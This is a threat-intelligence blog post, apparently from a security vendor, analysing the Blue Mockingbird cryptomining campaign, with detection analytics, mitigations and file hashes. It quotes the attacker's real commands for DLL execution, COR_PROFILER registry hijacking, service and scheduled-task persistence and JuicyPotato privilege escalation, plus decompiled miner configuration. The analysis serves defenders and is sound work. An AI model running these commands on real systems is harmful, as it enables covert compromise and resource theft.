See what it's like to have a partner in the fight.

redcanary.com/blog/blue-mockingbird-cryptominer/

Blue Mockingbird is the name we've given to a cluster of similar activity we've observed involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. They achieve initial access by exploiting public-facing web applications, specifically those that use Telerik UI for ASP.NET, followed by execution and persistence using multiple techniques (check out my colleague Jesse Brown's new blog for details on Blue Mockingbird's `COR_PROFILER` persistence mechanism). During at least one incident, the adversary used proxying software and experimented with different kinds of reverse shell payloads to connect to external systems. The earliest Blue Mockingbird tools we've observed were created in December 2019.

Gaining entry

In at least two incident response (IR) engagements, Blue Mockingbird has exploited public-facing web applications (T1190: Exploit Public-Facing Application) that implemented Telerik UI for ASP.NET AJAX. This suite of user interface components accelerates the web development process, but some versions are susceptible to a deserialization vulnerability, CVE-2019-18935. The exploitation of this CVE is not unique to Blue Mockingbird, but it has been a common point of entry.

In exploiting this vulnerability, two DLLs are uploaded to a web application running on a Windows IIS web server. In telemetry, investigators will notice `w3wp.exe` writing the DLLs to disk and then immediately loading them into memory afterward. In some cases, this will cause `w3wp.exe` to temporarily freeze and fail to successfully serve HTTP responses.

For a diagnostic to determine whether you are potentially affected by the Telerik CVE, you can search the IIS access logs for the string `POST Telerik.Web.UI.WebResource.axd`. In victim environments, our IR partners found entries similar to these:

```
2020-04-29 02:01:24 10.0.0.1 POST /Telerik.Web.UI.WebResource.axd type=rau 80 - <external IP address> Mozilla/5.0+
(Windows+NT+10.0;+Win64;+x64;+rv:54.0)+Gecko/20100101+Firefox/54.0 - 200 0 0 625

2020-04-29 02:01:27 10.0.0.1 POST /Telerik.Web.UI.WebResource.axd type=rau 80 - <external IP address> Mozilla/5.0+
(Windows+NT+10.0;+Win64;+x64;+rv:54.0)+Gecko/20100101+Firefox/54.0 - 500 0 0 46
```

In the entries, the string `200` refers to HTTP response code 200 where the POST request was successful, and the string `500` refers to HTTP code 500 where the POST request was not processed successfully by the web server. These code 500 entries happened when the `w3wp.exe` process loaded the uploaded DLLs into memory and temporarily froze.

Searching the IIS access logs for entries like these is a good idea even if you don't explicitly know whether you use Telerik UI, as some web applications require the suite as a dependency behind the scenes.

If you have endpoint detection and response (EDR) or similar tools, you'll notice `cmd.exe` or other suspicious processes spawning from `w3wp.exe`.

Execution and evasion

The primary payload distributed by Blue Mockingbird is a version of XMRIG packaged as a DLL. XMRIG is a popular, open-source Monero-mining tool that adversaries can easily compile into custom tooling. During the incidents, we noted three distinct uses.

The first use was execution with `rundll32.exe` explicitly calling the DLL export `fackaaxv` (T1218.011: Rundll32). This export seems unique to this actor's payloads and doesn't seem to happen other places in the wild:

```
rundll32.exe dialogex.dll,fackaaxv
```

The next use was execution using `regsvr32.exe` using the `/s` command-line option (T1218.010: Regsvr32). Supplying the `/s` switch executes the `DllRegisterServer` export exposed by the DLL payload. This export ultimately passed control of execution into the function that `fackaax` exported:

```
regsvr32.exe /s dialogex.dll
```

The final execution path was with the payload configured as a Windows Service DLL (T1569.002: Service Execution). Once configured, execution of the service invoked the export `ServiceMain`, which again passed control to `fackaaxv`.

Come for the exploit, stay for the mining

Blue Mockingbird leveraged multiple techniques for persistence during incidents. The most novel technique was the use of a `COR_PROFILER COM` hijack to execute a malicious DLL and restore items removed by defenders (T1559.001: Component Object Model). To use `COR_PROFILER`, they used `wmic.exe` and Windows Registry modifications to set environment variables and specify a DLL payload.

```
wmic ENVIRONMENT where "name='COR_PROFILER'" delete

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="<system>",VariableValue="1"

wmic ENVIRONMENT create name="COR_PROFILER",username="<system>",VariableValue="<arbitrary CLSID>"

REG.EXE ADD HKEY_LOCAL_MACHINE\Software\Classes\CLSID\<arbitrary CLSID>\InProcServer32 /V ThreadingModel /T REG_SZ /D
Apartment /F

REG.EXE ADD HKEY_LOCAL_MACHINE\Software\Classes\CLSID\<arbitrary CLSID>\InProcServer32 /VE /T REG_SZ /D
"c:\windows\System32\e0b3489da74f.dll" /F
```

The payload DLL specified as a `COR_PROFILER` was simple and gathered few antivirus detections. It executed the following command:

```
cmd.exe /c sc config wercplsupport start= auto && sc start wercplsupport && copy c:\windows\System32\dialogex.dll
c:\windows\System32\wercplsupporte.dll /y && schtasks /create /tn "Windows Problems Collection" /tr "regsvr32.exe /s
c:\windows\System32\wercplsupporte.dll" /sc DAILY /st 20:02 /F /RU System && start "" regsvr32.exe /s
c:\windows\System32\dialogex.dll
```

Since `COR_PROFILER` was configured, every process that loaded the Microsoft .NET Common Language Runtime would execute the command above, re-establishing persistence. The command configured the Windows Problem Reports and Solutions Control Panel Support service to execute automatically at boot (T1543.003: Windows Service). In a separate command, the actor modified the existing `wercplsupport` service to use the miner DLL instead of the legitimate one:

```
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wercplsupport\Parameters" /f /v ServiceDll /t REG_EXPAND_SZ /d
"c:\windows\System32\wercplsupporte.dll"
```

Note that the actor used the DLL name `wercplsupporte.dll` as an attempt to masquerade as the legitimate DLL name, which is `wercplsupport.dll` (T1036.005: Match Legitimate Name or Location). In addition, more masquerading was used to make malicious Scheduled Tasks blend in with legitimate ones (T1053.005: Scheduled Task).

In some cases, the actor even created a new service to perform the same actions as the COR_PROFILER payload:

```
sc create 8995 binPath= "cmd /c sc config wercplsupport start= auto & sc start wercplsupport & copy
c:\windows\System32\8995.dll c:\windows\System32\wercplsupporte.dll /y & regsvr32.exe /s c:\windows\System32\8995.dll" type=
share start= auto error= ignore DisplayName= 8995
```

Escalating privileges and accessing credentials

It's worth noting that Blue Mockingbird's initial access does not provide the privileges needed to establish the many persistence mechanisms used. In one engagement we observed, the adversary using a JuicyPotato exploit to escalate privileges from an IIS Application Pool Identity virtual account to the `NT Authority\SYSTEM` account. JuicyPotato allows an attacker to abuse the `SeImpersonate` token privilege and Windows DCOM to move from an unprivileged account to the highest level of privilege on a system (T1068: Exploitation for Privilege Escalation). During this engagement, the attacker abused a DCOM class and leveraged the IIS Application Pool Identity's `SeImpersonate` privilege to perform the escalation:

```
c:\programdata\let.exe -t t -p c:\programdata\rn.bat -l 1234 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}
```

In another engagement, we observed the adversary using Mimikatz (the official signed version) to access credentials for logon (T1003.001: LSASS Memory).

Free to move around the network

As with other adversaries that mine cryptocurrency opportunistically, Blue Mockingbird likes to move laterally and distribute mining payloads across an enterprise. We observed Blue Mockingbird move laterally using a combination of the Remote Desktop Protocol to access privileged systems and Windows Explorer to then distribute payloads to remote systems (T1021.001 Remote Desktop Protocol, T1021.002 SMB/Windows Admin Shares). In some cases, Scheduled Tasks were created remotely with `schtasks.exe /S` to ensure execution.

```
schtasks /create /tn "setup service Management" /tr "c:\windows\temp\rn.bat" /sc ONCE /st 00:00 /F /RU System /S remote_host
```

A look at command and control

A novel aspect of this adversary is that their toolkit does not appear to be fully defined. In at least one engagement, we observed Blue Mockingbird seemingly experimenting with different tools to create SOCKS proxies (T1090: Proxy) for pivoting. These tools included a fast reverse proxy (frp), Secure Socket Funneling (SSF), and Venom. In one instance, the adversary also tinkered with PowerShell reverse TCP shells and a reverse shell in DLL form (T1059.001: PowerShell).

Take action

We've scratched the surface on the XMRIG DLL payload, but we can dive deeper to understand more details (T1496: Resource Hijacking). First, the export `fackaaxv` has been consistently present in the DLLs. Next, each DLL also contains a PE binary section `_RANDOMX` . This section appears unique to cryptocurrency-mining payloads because it houses the RandomX proof of work algorithm that XMRIG may use. The network connections made for mining usually involve a `nanopool[.]org` domain.

We made the assessment that the payload was actually XMRIG based on several pieces of evidence. First, there were multiple references to "xmrig", including version numbers, in the binary strings. These were accompanied by cleartext references to command-line options common to XMRIG:

- `coin`
- `donate-level`
- `max-cpu-usage`
- `cpu-priority`
- `log-file`

```
                    /* 0x717c0  3  fackaaxv */
local_18 = DAT_18037e5a0 ^ (ulonglong)auStack328;
local_118 = 0x13;
local_b8[0] = "test.dll";
uVar7 = 0;
local_b8[1] = &DAT_180337bd4;
local_100 = 0;
local_b8[2] = "xmr-au1.nanopool.org:14433";
local_b8[3] = &DAT_180337bb0;
local_b8[4] = [redacted];
local_b8[5] = &DAT_180337bf0;
local_b8[6] = &DAT_180334288;
local_b8[7] = &DAT_180337bec;
local_b8[8] = "--tls";
local_b8[9] = "--coin";
local_b8[10] = "monero";
local_b8[11] = "--max-cpu-usage";
local_b8[12] = &DAT_180337c60;
local_b8[13] = "--donate-level";
local_b8[14] = &DAT_180337ca0;
local_b8[15] = "--cpu-priority";
local_b8[16] = &DAT_180337c88;
local_b8[17] = "--log-file";
local_b8[18] = "C:\\ProgramData\\tttx.log";
local_120 = local_b8;
local_110 = ZEXT816(0);
do {
  FUN_18001b190(&local_120,local_b8[uVar7]);
  uVar7 = uVar7 + 1;
```

The final piece of evidence came from a text log written to disk by some versions of the miner DLL. In the text logs, identifying information for XMRIG was output alongside hardware details for the victim system.

```
* ABOUT        XMRig/5.3.0 MSVC/2015

* LIBS         libuv/1.31.0 OpenSSL/1.1.1c hwloc/2.1.0

* HUGE PAGES       unavailable

* 1GB PAGES        unavailable

* CPU        Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (1) x64 AES
                 L2:0.3 MB L3:8.0 MB 1C/1T NUMA:1

* MEMORY       1.3/4.0 GB (33%)

* DONATE        0%

* POOL #1       xmr-au1.nanopool.org:14433 coin monero

* COMMANDS       'h' hashrate, 'p' pause, 'r' resume

* OPENCL       disabled

* CUDA       disabled

[2020-04-16 08:30:26.753] [xmr-au1.nanopool.org:14433] DNS error: "unknown node or service"
```

Each payload comes compiled with a standard list of commonly used Monero-mining domains alongside a Monero wallet address. So far, we've identified two wallet addresses used by Blue Mockingbird that are in active circulation. Due to the private nature of Monero, we cannot see the balance of these wallets to estimate their success. We've seen mining payloads compiled as early as December 2019 and as recently as late April 2020. In each compilation, one of the two wallets has been embedded into the binary. The wallet addresses could be extracted from the binaries easily in earlier versions using a simple `strings` command. In newer versions, the string is obfuscated.

Even with string obfuscation in the binary, you can observe the wallet addresses in network traffic. During execution of the miner DLLs, unique information is passed in cleartext across TCP streams:

```
{"id":1,"jsonrpc":"2.0","method":"login","params":
{"login":"[redacted]","pass":"s","agent"
:"XMRig/5.3.0 (Windows NT 10.0; Win64; x64) libuv/1.31.0 msvc/2015","algo":["cn/1","cn/2","cn/r","cn/fast","cn/half","cn/
xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","rx/0","rx/wow","rx/
loki","rx/arq"]}}
```

We recommend the following analytics:

- Process is `cmd.exe` with command line including `sc` AND `config` AND `wercplsupporte.dll`
- Any process where command line includes `-t` AND `-c` AND `-l` with network connections from `127.0.0.1` and to `127.0.0.1` on port tcp135 (JuicyPotato)
- Process is `schtasks.exe` with command line including `/create` AND `sc start wercplsupport`
- Process is `rundll32.exe` with command line including `fackaaxv`
- Process is `regsvr32.exe` with command line including `/s` and having an external network connection
- Process is `wmic.exe` with command line including `create` AND `COR_PROFILER`
- Process is `cmd.exe` and parent process is `services.exe`

For mitigations, focus on patching web servers, web applications, and dependencies of the applications. Most of the techniques used by Blue Mockingbird will bypass whitelisting technologies, so the best route will be to inhibit initial access. Consider establishing a baseline of Windows Scheduled Tasks in your environment to know what is normal across your enterprise.

Let's collaborate!

If you've been tracking similar activity, we'd love to hear from you and collaborate. Contact blog@redcanary.com with any observations or questions.

Indicators of compromise for XMRIG miner DLLs

sha256	compile time	imphash
sha256: d388c309a540d4619169a07a4b64707f4c44953511875b57ad7cfa3e097115af	compile time: 12/19/2019 17:49:20	imphash: a9d40d5a22948019ae9c5f1b464a1f03
sha256: 14e3c16ca940244bea9b6080fa02384ebb4818572cef7092f90d72ae210b330d	compile time: 1/4/2020 12:00:23	imphash: aed97d3d2b87ab0b55dab3a3eebe4557
sha256: 5377c69c05817a0e18f7b0ebbeed420f9ab8d1e81b439f439b42917fbe772dfb	compile time: 2/6/2020 10:24:29	imphash: 1614f0ce7b6c11bf8bd8a76885c8e21c
sha256: c957d007824ee8173c67122a1843c979c818614eeed7db03dea3ba7fede43eba	compile time: 2/6/2020 10:24:29	imphash: 1614f0ce7b6c11bf8bd8a76885c8e21c
sha256: 5d7116f04e10e968de64c4201fc7374fa84b364e90f8e4eba0fbc41afeaf468c	compile time: 2/19/2020 13:52:10	imphash: aed97d3d2b87ab0b55dab3a3eebe4557
sha256: 909495884627e2e74d07d729b5e046f3ae01cabd9f0a5a99c74d46046a677f7c	compile time: 2/22/2020 14:38:33	imphash: aed97d3d2b87ab0b55dab3a3eebe4557
sha256: ab698a35dc5263f0ca460f09dcbc9f8a4aeb7643365a1e7fa122581ef72c34b6	compile time: 3/8/2020 16:57:32	imphash: 1614f0ce7b6c11bf8bd8a76885c8e21c

sha256	compile time	imphash
sha256: 60504228b3fc524287bf2a260db933a408639b2f1a29af7538c61b00c4a44c86	compile time: 3/24/2020 16:15:16	imphash: aed97d3d2b87ab0b55dab3a3eebe4557
sha256: 1d30d3cafdcc43b2f9a593983ad096c2c3941025fb4e91257e2dcf0919ed24ba	compile time: 3/24/2020 16:15:44	imphash: 9ccdf92e630d907101a249f152451dfa
sha256: 968b324be2b89f1a8ee4743d946723c1ffdca16ccfbbbbb68e5b9f60e0bff4c9	compile time: 4/9/2020 16:05:45	imphash: aed97d3d2b87ab0b55dab3a3eebe4557
sha256: 018a02fd0dbc63e54656b8915d71cd8a2ce4409608ae4dff6ec196ffa8743ba1	compile time: 4/14/2020 19:00:06	imphash: aed97d3d2b87ab0b55dab3a3eebe4557
sha256: b31f7152a547fa41c31f9c96177b2cd7131a93f7c328bf6da360dc1586ba18dc	compile time: 2020-04-26 14:58:24	imphash: aed97d3d2b87ab0b55dab3a3eebe4557

Indicators of compromise for COR_PROFILER DLLs

sha256	compile time	imphash
sha256: 9a432ea16e74b36c55ec5faa790937fe752ff2561cef83e44856fd1e72398309	compile time: 2020-02-16 9:24:30	imphash: 8432f0b0e6fbfe4ac5d53400aa09d6e5
sha256: de6c061aafc5d86e692bec45f69b2ea18639abd540b59c2c281717a054a48dd5	compile time: 2020-02-22 14:57:17	imphash: 8432f0b0e6fbfe4ac5d53400aa09d6e5

Related Articles

Detection and response

ChromeLoader: a pushy malvertiser

Detection and response

Intelligence Insights: May 2022

Detection and response

The Goot cause: Detecting Gootloader and its follow-on activity

Detection and response

Marshmallows & Kerberoasting

Subscribe to our blog